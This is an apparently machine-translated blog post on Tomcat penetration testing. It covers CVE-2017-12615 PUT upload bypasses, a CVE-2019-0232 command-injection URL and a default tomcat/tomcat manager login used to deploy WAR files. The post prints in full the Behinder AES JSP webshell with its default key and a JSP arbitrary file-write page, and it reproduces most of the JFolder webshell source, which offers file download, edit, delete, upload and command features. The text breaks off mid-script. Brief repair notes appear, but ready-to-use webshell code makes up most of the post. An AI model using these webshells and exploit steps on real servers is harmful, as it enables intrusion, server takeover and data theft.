4W words + thousands of lines of code! Tomcat penetration test method summary, bring it to you!

Posted by live_ex3me on Mon, 03 Jan 2022 11:34:46 +0100

catalogue

preface

install

Tomcat analysis

Main documents

Upload directory

Tomcat penetration

Tomcat arbitrary file write (CVE-2017-12615)

Tomcat remote code execution (CVE-2019-0232)

Tomcat weak password & background getshell vulnerability

Tomcat manager App brute force cracking

Tomcat AJP file contains vulnerability analysis (CVE-2020-1938)

preface

Tomcat server is a free open source web application server. It is a lightweight application server. It is widely used in small and medium-sized systems and when there are not many concurrent access users. It is the first choice for developing and debugging JSP programs. It can be considered that when the Apache server is configured on a machine, it can be used to respond to the access requests of HTML pages. In fact, Tomcat is an extension of Apache server, but it runs independently at runtime, so when running tomcat, it actually runs separately as a process independent of Apache.

Current model: version 7 ~ 10

Default port: 8080

install

First, there should be a java environment

Note: Tomcat version has requirements for JAVA version and corresponding JSP and Servlet. For Tomcat version 8 and above, Java7 and later versions are required, so the corresponding JDK version is required to download the Tomcat version

Then install Tomcat and it will be ok by default

You can see that its 8080 port has been opened

Visit

Tomcat analysis

Main documents

1.server.xml: to configure tomcat Port number of startup host Host Context etc.
2.web.xml:Deployment description file, this web.xml Some default are described in servlet,Deploy each webapp This file will be called to configure the web Applied default servlet 
3: tomcat-users.xml:tomcat User password and permissions.

Upload directory

Tomcat penetration

Tomcat arbitrary file write (CVE-2017-12615)

Scope of influence

Apache Tomcat7.0.0-7.0.81 (default configuration)

Reappearance

I use vulhub here

sudo service docker start 
cd vulhub/tomcat/CVE-2017-12615
sudo docker-compose build
sudo docker-compose up -d

Go to the bottom to see the source code

sudo docker ps
sudo docker exec -ti a3 bash
cat conf/web.xml |grep readonly

Vulnerability principle

It is caused by improper configuration (non default configuration), and the configuration file conf / Web readonly in XML is set to false, so that any file can be uploaded using PUT method, but the jsp suffix is limited. However, there are many bypass methods for different platforms

Start recurrence

Packet capture and bit change PUT upload mode

Go and upload the directory

/usr/local/tomcat/webapps/ROOT

Successfully uploaded

Bypass and upload jsp successfully

1.Windows Files ending in spaces are not allowed under
 with PUT /a001.jsp%20 HTTP/1.1 Upload to Windows The trailing space will be automatically removed
2.WindowsNTFS flow
Put/a001.jsp::$DATA HTTP/1.1
3. /It is illegal in the file name and will be removed( Linux/Windows)
Put/a001.jsp/http:/1.1

You can see the upload A001 JSP is successfully bypassed

I won't demonstrate the other two

Everything is OK

Upload the horse, here I use the ice scorpion to connect

Note: you cannot open an agent

Look at the jsp horse under the ice scorpion server directory

jsp horse of ice scorpion

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
/*The key is the first 16 bits of the 32-bit md5 value of the connection password, and the default connection password is rebeyond*/

Note that / should be used to bypass and upload jsp

You can also see that it was uploaded successfully

Connect with an ice scorpion

The latest version is reproduced

Here, paste the code of this vulnerability into the latest version

If it is not added, PUT upload txt is not allowed

<init-param>
 <param-name>readonly</param-name>
 <param-value>false</param-value>
</init-param>

Save exit to restart Tomcat

It can be written successfully

Write PUT to txt and find that it is OK

But I've tried all three methods to bypass and upload jsp, but I can't

repair

Change readonly to true

<init-param>
 <param-name>readonly</param-name>
 <param-value>false</param-value>
</init-param>

Tomcat remote code execution (CVE-2019-0232)

Scope of influence

Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93

Here, use Windows 8.5.39 for reproduction

install

Also install java first

Then install Tomcat

Visit

Vulnerability principle

The vulnerability related code is in Tomcat \ Java \ ORG \ Apache \ Catalina \ servlets \ cgiservlet In Java, CGISerlvet provides a cgi calling interface. When the enablecdlinearguments parameter is enabled, the command line parameters will be generated from the Url parameters according to RFC 3875, and the parameters will be passed to the Java Runtime for execution.

This vulnerability is due to runtime getRuntime(). The implementation of exec in Windows is different from that in Linux

Java runtime getRuntime(). Exec is difficult to have command injection in the case of CGI call.

In Windows, the creation process uses CreateProcess. The parameters are combined into strings and passed into CreateProcess as lpComandLine. After the program starts, call GetcommandLine to get the parameters and call CommandLineToArgw to argv.

In Windows, when the parameter in CreateProcess is a bat file or a cmd file, cmd. Is called Exe, so it will eventually become cmd Exe / C "a001.bat dir", and the calling process of Java does not do any escape, so there will be a vulnerability under Windows.

In addition, Windows has another feature in processing parameters. If only simple escape is added here, it may be bypassed

For example, dir "\" & whoamI "is secure in Linux, while commands are executed in Windows.
This is because Windows will copy the contents in the command line to the next parameter until the command line is finished or meet the next one, but the processing is incorrect. So when calling batch or cmd files in Java, it is necessary to make proper parameter checking to avoid loopholes.

Vulnerability analysis

Tomcat's CGI_ The servlet component is turned off by default, and is displayed in conf / Web Find the CGIServlet part of the comment in XML, remove the comment, and configure enableCmdLineArguments and executable

This is the configuration

<servlet>
    <servlet-name>cgi</servlet-name>
    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
    <init-param>
        <param-name>cgiPathPrefix</param-name>
        <param-value>WEB-INF/cgi</param-value>
    </init-param>
	<init-param>
        <param-name>enableCmdLineArguments</param-name>
		<param-value>true</param-value>
	</init-param>
	<init-param>
	    <param-name>executable</param-name>
	    <param-value></param-value>
	</init-param>
    <load-on-startup>5</load-on-startup>
</servlet>

The main settings here are enablecdlinearguments and executable

1.enableCmdLineArguments Only when enabled will the Url Parameters in are passed to the command line
2.executable Specifies the binary file to execute. The default is perl,The file itself needs to be empty to execute.

Also in conf / Web Servlet mapping with cgi enabled in XML

Modify conf / context Add the privileged="true" attribute of XML, otherwise you will not have permission

<Context privileged="true">

Configuration catalog file

Create the CGI bin directory under C:\Tomcat\webapps\ROOT\WEB-INF

And create an A001. 0 file in this directory txt

The content is arbitrary

Remember to restart

Then we visit

http://192.168.175.193:8080/cgi-bin/a001.bat?&dir

You can see the successful execution of any code!

Repair method

The developer added the cmdLineArgumentsDecoded parameter in the patch. This parameter is used to verify the incoming command line parameters. If the incoming command line parameters do not conform to the specified mode, they will not be executed.
The verification is written in the setupFromRequest function

String decodedArgument = URLDecoder.decode(encodedArgument, parameterEncoding);
if (cmdLineArgumentsDecodedPattern != null &&
 !cmdLineArgumentsDecodedPattern.matcher(decodedArgument).matches()) {
 if (log.isDebugEnabled()) {
 log.debug(sm.getString("cgiServlet.invalidArgumentDecoded",
 decodedArgument, cmdLineArgumentsDecodedPattern.toString()));
 }
 return false;
}

If it fails, the valid parameter of cgienenvironment will be set to false, and the execution will be directly skipped in subsequent processing functions

if (cgiEnv.isValid()) {
 CGIRunner cgi = new CGIRunner(cgiEnv.getCommand(),
 cgiEnv.getEnvironment(),
 cgiEnv.getWorkingDirectory(),
 cgiEnv.getParameters());
 if ("POST".equals(req.getMethod())) {
 cgi.setInput(req.getInputStream());
 }
 cgi.setResponse(res);
 cgi.run();
} else {
 res.sendError(404);
}

Repair suggestions

1.Using a newer version of Apache Tomcat. It should be noted here that although in 9.0.18 It fixed this vulnerability, but this update did not pass the vote of the candidate version, so although 9.0.18 Not in the affected list, users still need to download 9.0.19 To get a version without the vulnerability
2.close enableCmdLineArguments parameter

Tomcat weak password & background getshell vulnerability

Scope of influence

Tomcat8

Here, we still use vulhub for reproduction

cd vulhub-master/tomcat/tomcat8

sudo docker-compose up -d

The previous container should be closed

Go to the bottom layer of docker to see its source code

sudo docker ps
sudo docker exec -ti a bash
cd conf

Copy these three files

sudo docker cp 5e81d6d51622:/usr/local/tomcat/conf/tomcat-users.xml /home/dayu/Desktop/
sudo docker cp 5e81d6d51622:/usr/local/tomcat/conf/tomcat-users.xsd /home/dayu/Desktop/
sudo docker cp 5e81d6d51622:/usr/local/tomcat/conf/web.xml /home/dayu/Desktop/

Source code

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
 version="1.0">
 <role rolename="manager-gui"/> <role rolename="manager-script"/>
 <role rolename="manager-jmx"/>
 <role rolename="manager-status"/>
 <role rolename="admin-gui"/>
 <role rolename="admin-script"/>
 <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
 
</tomcat-users>

manager (background management)

manager-gui     have htmL Page permissions
manager-status  Own view status Permissions for
manager-script  have text The permissions of the interface, and status jurisdiction
manager-jmx     have jmx Permissions, and status jurisdiction

Host Manager

admin-gui    have html Page permissions
admin-script have text Interface permissions

Visit

Visit its background management address

/manager/html

Or click here

Its login window can be directly exploded without verification code

default

Users: Tomcat

Passwd: Tomcat

Log in and view it

Why do I need to upload the wa package? Why not tar zip??

War package is used for all code under a website project during Web development, including foreground HTML/CSS/JS code and background java Web code. When the developer completes the development, the source code will be packaged to the tester for testing. If it is to be released after the test, it will also be packaged into a war package for release. The war package can be placed in the webapps or word directory under Tomcat. When the Tomcat server starts, the war package will decompress the source code for automatic deployment.

Upload JSP

<%@page contentType="text/html;charset=gb2312"%>    
<%@page import="java.io.*,java.util.*,java.net.*"%>    
<html>    
  <head>    
    <title></title>    
    <style type="text/css">    
     body { color:red; font-size:12px; background-color:white; }    
    </style>    
  </head>    
  <body>    
  <%    
   if(request.getParameter("context")!=null)    
   {    
   String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312");    
   String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312");    
   OutputStream pt = null;    
        try {    
            pt = new FileOutputStream(path);    
            pt.write(context.getBytes());    
            out.println("<a href='"+request.getScheme()+"://"+ request. Getservername() +": "+ request. Getserverport() + request. Getrequesturi() +" > < font color ='Red 'title =' click to go to the uploaded file page! > Upload succeeded</ font></a>");    
        } catch (FileNotFoundException ex2) {    
            out.println("<font color='red'>Upload failed!</font>");    
        } catch (IOException ex) {    
            out.println("<font color='red'>Upload failed!</font>");    
        } finally {    
            try {    
                pt.close();    
            } catch (IOException ex3) {    
                out.println("<font color='red'>Upload failed!</font>");    
            }    
        }    
}    
  %>    
    <form name="frmUpload" method="post" action="">    
    <font color="blue">Path to this document:</font><%out.print(request.getRealPath(request.getServletPath())); %>    
    <br>    
    <br>    
    <font color="blue">Upload file path:</font><input type="text" size="70" name="path" value="<%out.print(getServletContext().getRealPath("/")); %>">    
    <br>    
    <br>    
    Upload file content:<textarea name="context" id="context" style="width: 51%; height: 150px;"></textarea>    
    <br>    
    <br>    
    <input type="submit" name="btnSubmit" value="Upload">    
    </form>    
  </body>    
</html>   

zip compression, and then change the suffix to war package

Or use the Java command:

jar -cvf dayu.war dayu.jsp

/ 2 here is the name of the war package

Go to the bottom layer of docker to see if the upload is successful

It will deploy automatically. Let's visit it

Successfully parsed jsp, and can upload!

Upload the jsp horse of ice scorpion here

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
/*The key is the first 16 bits of the 32-bit md5 value of the connection password, and the default connection password is rebeyond*/

After upload, connect with the ice scorpion

I'm posting an awesome JSP

<%
/**
JFolder V0.9  windows platform
@Filename:  JFolder.jsp 
@Description:  A simple system file directory display program, similar to resource manager, provides basic file operations, but the function is weak.

@Bugs  :  When downloading, the Chinese file name cannot be displayed normally
*/
%>
<%@ page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
private final static int languageNo=0; //Language version, 0: Chinese; 1: English
String strThisFile="JFolder.jsp";
String[] authorInfo={" <font color=red> Years Alliance-Special Edition </font>"," <font color=red> Thanks for your support - - by Steven Cee http:// </font>"};
String[] strFileManage   = {"Document management","File Management"};
String[] strCommand      = {"CMD Command","Command Window"};
String[] strSysProperty  = {"System properties","System Property"};
String[] strHelp         = {"help","Help"};
String[] strParentFolder = {"Parent directory","Parent Folder"};
String[] strCurrentFolder= {"current directory","Current Folder"};
String[] strDrivers      = {"Driver","Drivers"};
String[] strFileName     = {"File name","File Name"};
String[] strFileSize     = {"file size","File Size"};
String[] strLastModified = {"Final modification","Last Modified"};
String[] strFileOperation= {"File operation","Operations"};
String[] strFileEdit     = {"modify","Edit"};
String[] strFileDown     = {"download","Download"};
String[] strFileCopy     = {"copy","Move"};
String[] strFileDel      = {"delete","Delete"};
String[] strExecute      = {"implement","Execute"};
String[] strBack         = {"return","Back"};
String[] strFileSave     = {"preservation","Save"};

public class FileHandler
{
 private String strAction="";
 private String strFile="";
 void FileHandler(String action,String f)
 {
 
 }
}

public static class UploadMonitor {

  static Hashtable uploadTable = new Hashtable();

  static void set(String fName, UplInfo info) {
   uploadTable.put(fName, info);
  }

  static void remove(String fName) {
   uploadTable.remove(fName);
  }

  static UplInfo getInfo(String fName) {
   UplInfo info = (UplInfo) uploadTable.get(fName);
   return info;
  }
}

public class UplInfo {

  public long totalSize;
  public long currSize;
  public long starttime;
  public boolean aborted;

  public UplInfo() {
   totalSize = 0l;
   currSize = 0l;
   starttime = System.currentTimeMillis();
   aborted = false;
  }

  public UplInfo(int size) {
   totalSize = size;
   currSize = 0;
   starttime = System.currentTimeMillis();
   aborted = false;
  }

  public String getUprate() {
   long time = System.currentTimeMillis() - starttime;
   if (time != 0) {
    long uprate = currSize * 1000 / time;
    return convertFileSize(uprate) + "/s";
   }
   else return "n/a";
  }

  public int getPercent() {
   if (totalSize == 0) return 0;
   else return (int) (currSize * 100 / totalSize);
  }

  public String getTimeElapsed() {
   long time = (System.currentTimeMillis() - starttime) / 1000l;
   if (time - 60l >= 0){
    if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
    else return time / 60 + ":0" + (time % 60) + "m";
   }
   else return time<10 ? "0" + time + "s": time + "s";
  }

  public String getTimeEstimated() {
   if (currSize == 0) return "n/a";
   long time = System.currentTimeMillis() - starttime;
   time = totalSize * time / currSize;
   time /= 1000l;
   if (time - 60l >= 0){
    if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
    else return time / 60 + ":0" + (time % 60) + "m";
   }
   else return time<10 ? "0" + time + "s": time + "s";
  }

 }

 public class FileInfo {

  public String name = null, clientFileName = null, fileContentType = null;
  private byte[] fileContents = null;
  public File file = null;
  public StringBuffer sb = new StringBuffer(100);

  public void setFileContents(byte[] aByteArray) {
   fileContents = new byte[aByteArray.length];
   System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
  }
}

// A Class with methods used to process a ServletInputStream
public class HttpMultiPartParser {

  private final String lineSeparator = System.getProperty("line.separator", "\n");
  private final int ONE_MB = 1024 * 1;

  public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
    int clength) throws IllegalArgumentException, IOException {
   if (is == null) throw new IllegalArgumentException("InputStream");
   if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
     "\"" + boundary + "\" is an illegal boundary indicator");
   boundary = "--" + boundary;
   StringTokenizer stLine = null, stFields = null;
   FileInfo fileInfo = null;
   Hashtable dataTable = new Hashtable(5);
   String line = null, field = null, paramName = null;
   boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
   boolean isFile = false;
   if (saveFiles) { // Create the required directory (including parent dirs)
    File f = new File(saveInDir);
    f.mkdirs();
   }
   line = getLine(is);
   if (line == null || !line.startsWith(boundary)) throw new IOException(
     "Boundary not found; boundary = " + boundary + ", line = " + line);
   while (line != null) {
    if (line == null || !line.startsWith(boundary)) return dataTable;
    line = getLine(is);
    if (line == null) return dataTable;
    stLine = new StringTokenizer(line, ";\r\n");
    if (stLine.countTokens() < 2) throw new IllegalArgumentException(
      "Bad data in second line");
    line = stLine.nextToken().toLowerCase();
    if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
      "Bad data in second line");
    stFields = new StringTokenizer(stLine.nextToken(), "=\"");
    if (stFields.countTokens() < 2) throw new IllegalArgumentException(
      "Bad data in second line");
    fileInfo = new FileInfo();
    stFields.nextToken();
    paramName = stFields.nextToken();
    isFile = false;
    if (stLine.hasMoreTokens()) {
     field = stLine.nextToken();
     stFields = new StringTokenizer(field, "=\"");
     if (stFields.countTokens() > 1) {
      if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
       fileInfo.name = paramName;
       String value = stFields.nextToken();
       if (value != null && value.trim().length() > 0) {
        fileInfo.clientFileName = value;
        isFile = true;
       }
       else {
        line = getLine(is); // Skip "Content-Type:" line
        line = getLine(is); // Skip blank line
        line = getLine(is); // Skip blank line
        line = getLine(is); // Position to boundary line
        continue;
       }
      }
     }
     else if (field.toLowerCase().indexOf("filename") >= 0) {
      line = getLine(is); // Skip "Content-Type:" line
      line = getLine(is); // Skip blank line
      line = getLine(is); // Skip blank line
      line = getLine(is); // Position to boundary line
      continue;
     }
    }
    boolean skipBlankLine = true;
    if (isFile) {
     line = getLine(is);
     if (line == null) return dataTable;
     if (line.trim().length() < 1) skipBlankLine = false;
     else {
      stLine = new StringTokenizer(line, ": ");
      if (stLine.countTokens() < 2) throw new IllegalArgumentException(
        "Bad data in third line");
      stLine.nextToken(); // Content-Type
      fileInfo.fileContentType = stLine.nextToken();
     }
    }
if (skipBlankLine) {
     line = getLine(is);
     if (line == null) return dataTable;
    }
    if (!isFile) {
     line = getLine(is);
     if (line == null) return dataTable;
     dataTable.put(paramName, line);
     // If parameter is dir, change saveInDir to dir
     if (paramName.equals("dir")) saveInDir = line;
     line = getLine(is);
     continue;
    }
    try {
     UplInfo uplInfo = new UplInfo(clength);
     UploadMonitor.set(fileInfo.clientFileName, uplInfo);
     OutputStream os = null;
     String path = null;
     if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
       fileInfo.clientFileName));
     else os = new ByteArrayOutputStream(ONE_MB);
     boolean readingContent = true;
     byte previousLine[] = new byte[2 * ONE_MB];
     byte temp[] = null;
     byte currentLine[] = new byte[2 * ONE_MB];
     int read, read3;
     if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
      line = null;
      break;
     }
     while (readingContent) {
      if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
       line = null;
       uplInfo.aborted = true;
       break;
      }
      if (compareBoundary(boundary, currentLine)) {
       os.write(previousLine, 0, read - 2);
       line = new String(currentLine, 0, read3);
       break;
      }
      else {
       os.write(previousLine, 0, read);
       uplInfo.currSize += read;
       temp = currentLine;
       currentLine = previousLine;
       previousLine = temp;
       read = read3;
      }//end else
     }//end while
     os.flush();
     os.close();
     if (!saveFiles) {
      ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
      fileInfo.setFileContents(baos.toByteArray());
     }
     else fileInfo.file = new File(path);
     dataTable.put(paramName, fileInfo);
     uplInfo.currSize = uplInfo.totalSize;
    }//end try
    catch (IOException e) {
     throw e;
    }
   }
   return dataTable;
  }

  /**
   * Compares boundary string to byte array
   */
  private boolean compareBoundary(String boundary, byte ba[]) {
   byte b;
   if (boundary == null || ba == null) return false;
   for (int i = 0; i < boundary.length(); i++)
    if ((byte) boundary.charAt(i) != ba[i]) return false;
   return true;
  }

  /** Convenience method to read HTTP header lines */
  private synchronized String getLine(ServletInputStream sis) throws IOException {
   byte b[] = new byte[1024];
   int read = sis.readLine(b, 0, b.length), index;
   String line = null;
   if (read != -1) {
    line = new String(b, 0, read);
    if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
   }
   return line;
  }

  public String getFileName(String dir, String fileName) throws IllegalArgumentException {
   String path = null;
   if (dir == null || fileName == null) throw new IllegalArgumentException(
     "dir or fileName is null");
   int index = fileName.lastIndexOf('/');
   String name = null;
   if (index >= 0) name = fileName.substring(index + 1);
   else name = fileName;
   index = name.lastIndexOf('\\');
   if (index >= 0) fileName = name.substring(index + 1);
   path = dir + File.separator + fileName;
   if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
   else return path.replace('/', File.separatorChar);
  }
} //End of class HttpMultiPartParser

String formatPath(String p)
{
 StringBuffer sb=new StringBuffer();
 for (int i = 0; i < p.length(); i++) 
 {
  if(p.charAt(i)=='\\')
  {
   sb.append("\\\\");
  }
  else
  {
   sb.append(p.charAt(i));
  }
 }
 return sb.toString();
}

 /**
  * Converts some important chars (int) to the corresponding html string
  */
 static String conv2Html(int i) {
  if (i == '&') return "&amp;";
  else if (i == '<') return "&lt;";
  else if (i == '>') return "&gt;";
  else if (i == '"') return "&quot;";
  else return "" + (char) i;
 }

 /**
  * Converts a normal string to a html conform string
  */
 static String htmlEncode(String st) {
  StringBuffer buf = new StringBuffer();
  for (int i = 0; i < st.length(); i++) {
   buf.append(conv2Html(st.charAt(i)));
  }
  return buf.toString();
 }
String getDrivers()
/**
Windows Get all available logical disks on the system
*/
{
 StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
 File roots[]=File.listRoots();
 for(int i=0;i<roots.length;i++)
 {
  sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">");
  sb.append(roots[i]+"</a>&nbsp;");
 }
 return sb.toString();
}
static String convertFileSize(long filesize)
{
 //bug 5.09M displays 5.9M
 String strUnit="Bytes";
 String strAfterComma="";
 int intDivisor=1;
 if(filesize>=1024*1024)
 {
  strUnit = "MB";
  intDivisor=1024*1024;
 }
 else if(filesize>=1024)
 {
  strUnit = "KB";
  intDivisor=1024;
 }
 if(intDivisor==1) return filesize + " " + strUnit;
 strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
 if(strAfterComma=="") strAfterComma=".0";
 return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
}
%>
<%
request.setCharacterEncoding("gb2312");
String tabID = request.getParameter("tabID");
String strDir = request.getParameter("path");
String strAction = request.getParameter("action");
String strFile = request.getParameter("file");
String strPath = strDir + "\\" + strFile; 
String strCmd = request.getParameter("cmd");
StringBuffer sbEdit=new StringBuffer("");
StringBuffer sbDown=new StringBuffer("");
StringBuffer sbCopy=new StringBuffer("");
StringBuffer sbSaveCopy=new StringBuffer("");
StringBuffer sbNewFile=new StringBuffer("");

if((tabID==null) || tabID.equals(""))
{
 tabID = "1";
}

if(strDir==null||strDir.length()<1)
{
 strDir = request.getRealPath("/");
}


if(strAction!=null && strAction.equals("down"))
{
 File f=new File(strPath);
 if(f.length()==0)
 {
  sbDown.append("The file size is 0 bytes, so you don't have to");
 }
 else
 {
  response.setHeader("content-type","text/html; charset=ISO-8859-1");
  response.setContentType("APPLICATION/OCTET-STREAM"); 
  response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
  FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
  out.clearBuffer();
  int i;
  while ((i=fileInputStream.read()) != -1)
  {
   out.write(i); 
  }
  fileInputStream.close();
  out.close();
 }
}

if(strAction!=null && strAction.equals("del"))
{
 File f=new File(strPath);
 f.delete();
}

if(strAction!=null && strAction.equals("edit"))
{
 File f=new File(strPath); 
 BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
 sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
 sbEdit.append("<input type=hidden name=action value=save >\r\n");
 sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
 sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
 sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
 sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> &nbsp;"+strPath+"\r\n");
 sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
 String line="";
 while((line=br.readLine())!=null)
 {
  sbEdit.append(htmlEncode(line)+"\r\n");  
 }
   sbEdit.append("</textarea>");
 sbEdit.append("<input type=hidden name=path value="+strDir+">");
 sbEdit.append("</form>");
}

if(strAction!=null && strAction.equals("save"))
{
 File f=new File(strPath);
 BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
 String strContent=request.getParameter("content");
 bw.write(strContent);
 bw.close();
}
if(strAction!=null && strAction.equals("copy"))
{
 File f=new File(strPath);
 sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
 sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
 sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
 sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
 sbCopy.append("Original file: "+strPath+"<p>");
 sbCopy.append("Target file: <input type=text name=file2 size=40 value='"+strDir+"'><p>");
 sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
 sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p>&nbsp;\r\n");
 sbCopy.append("</form>");
}
if(strAction!=null && strAction.equals("savecopy"))
{
 File f=new File(strPath);
 String strDesFile=request.getParameter("file2");
 if(strDesFile==null || strDesFile.equals(""))
 {
  sbSaveCopy.append("<p><font color=red>Destination file error.</font>");
 }
 else
 {
  File f_des=new File(strDesFile);
  if(f_des.isFile())
  {
   sbSaveCopy.append("<p><font color=red>The destination file already exists,Cannot copy.</font>");
  }
  else
  {
   String strTmpFile=strDesFile;
   if(f_des.isDirectory())
   {
    if(!strDesFile.endsWith("\\"))
    {
     strDesFile=strDesFile+"\\";
    }
    strTmpFile=strDesFile+"cqq_"+strFile;
    }
   
   File f_des_copy=new File(strTmpFile);
   FileInputStream in1=new FileInputStream(f);
   FileOutputStream out1=new FileOutputStream(f_des_copy);
   byte[] buffer=new byte[1024];
   int c;
   while((c=in1.read(buffer))!=-1)
   {
    out1.write(buffer,0,c);
   }
   in1.close();
   out1.close();
 
   sbSaveCopy.append("Original file:"+strPath+"<p>");
   sbSaveCopy.append("Target file:"+strTmpFile+"<p>");
   sbSaveCopy.append("<font color=red>Copy succeeded!</font>");   
  }  
 } 
 sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=return>");
}
if(strAction!=null && strAction.equals("newFile"))
{
 String strF=request.getParameter("fileName");
 String strType1=request.getParameter("btnNewFile");
 String strType2=request.getParameter("btnNewDir");
 String strType="";
 if(strType1==null)
 {
  strType="Dir";
 }
 else if(strType2==null)
 {
  strType="File";
 }
 if(!strType.equals("") && !(strF==null || strF.equals("")))
 {  
   File f_new=new File(strF);   
   if(strType.equals("File") && !f_new.createNewFile())
    sbNewFile.append(strF+" File creation failed");
   if(strType.equals("Dir") && !f_new.mkdirs())
    sbNewFile.append(strF+" Directory creation failed");
 }
 else
 {
  sbNewFile.append("<p><font color=red>Error creating file or directory.</font>");
 }
}

if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
{
 String tempdir=".";
 boolean error=false;
 response.setContentType("text/html");
 sbNewFile.append("<p><font color=red>Error creating file or directory.</font>");
 HttpMultiPartParser parser = new HttpMultiPartParser();

 int bstart = request.getContentType().lastIndexOf("oundary=");
 String bound = request.getContentType().substring(bstart + 8);
 int clength = request.getContentLength();
 Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
 if (ht.get("cqqUploadFile") != null)
 {

  FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
  File f1 = fi.file;
  UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
  if (info != null && info.aborted) 
  {
   f1.delete();
   request.setAttribute("error", "Upload aborted");
  }
  else 
  {
   String path = (String) ht.get("path");
   if(path!=null && !path.endsWith("\\")) 
    path = path + "\\";
   if (!f1.renameTo(new File(path + f1.getName()))) 
   {
    request.setAttribute("error", "Cannot upload file.");
    error = true;
    f1.delete();
   }
  }
 }
}
%>
<html>
<head>
<style type="text/css">
td,select,input,body{font-size:9pt;}
A { TEXT-DECORATION: none }

#tablist{
padding: 5px 0;
margin-left: 0;
margin-bottom: 0;
margin-top: 0.1em;
font:9pt;
}

#tablist li{
list-style: none;
display: inline;
margin: 0;
}

#tablist li a{
padding: 3px 0.5em;
margin-left: 3px;
border: 1px solid ;
background: F6F6F6;
}

#tablist li a:link, #tablist li a:visited{
color: navy;
}

#tablist li a.current{
background: #EAEAFF;
}

#tabcontentcontainer{
width: 100%;
padding: 5px;
border: 1px solid black;
}

.tabcontent{
display:none;
}

</style>

<script type="text/javascript">

var initialtab=[<%=tabID%>, "menu<%=tabID%>"]

Stop editting

function cascadedstyle(el, cssproperty, csspropertyNS){
if (el.currentStyle)
return el.currentStyle[cssproperty]
else if (window.getComputedStyle){
var elstyle=window.getComputedStyle(el, "")
return elstyle.getPropertyValue(csspropertyNS)
}
}

var previoustab=""

function expandcontent(cid, aobject){
if (document.getElementById){
highlighttab(aobject)
if (previoustab!="")
document.getElementById(previoustab).style.display="none"
document.getElementById(cid).style.display="block"
previoustab=cid
if (aobject.blur)
aobject.blur()
return false
}
else
return true
}

function highlighttab(aobject){
if (typeof tabobjlinks=="undefined")
collecttablinks()
for (i=0; i<tabobjlinks.length; i++)
tabobjlinks[i].style.backgroundColor=initTabcolor
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
}

function collecttablinks(){
var tabobj=document.getElementById("tablist")
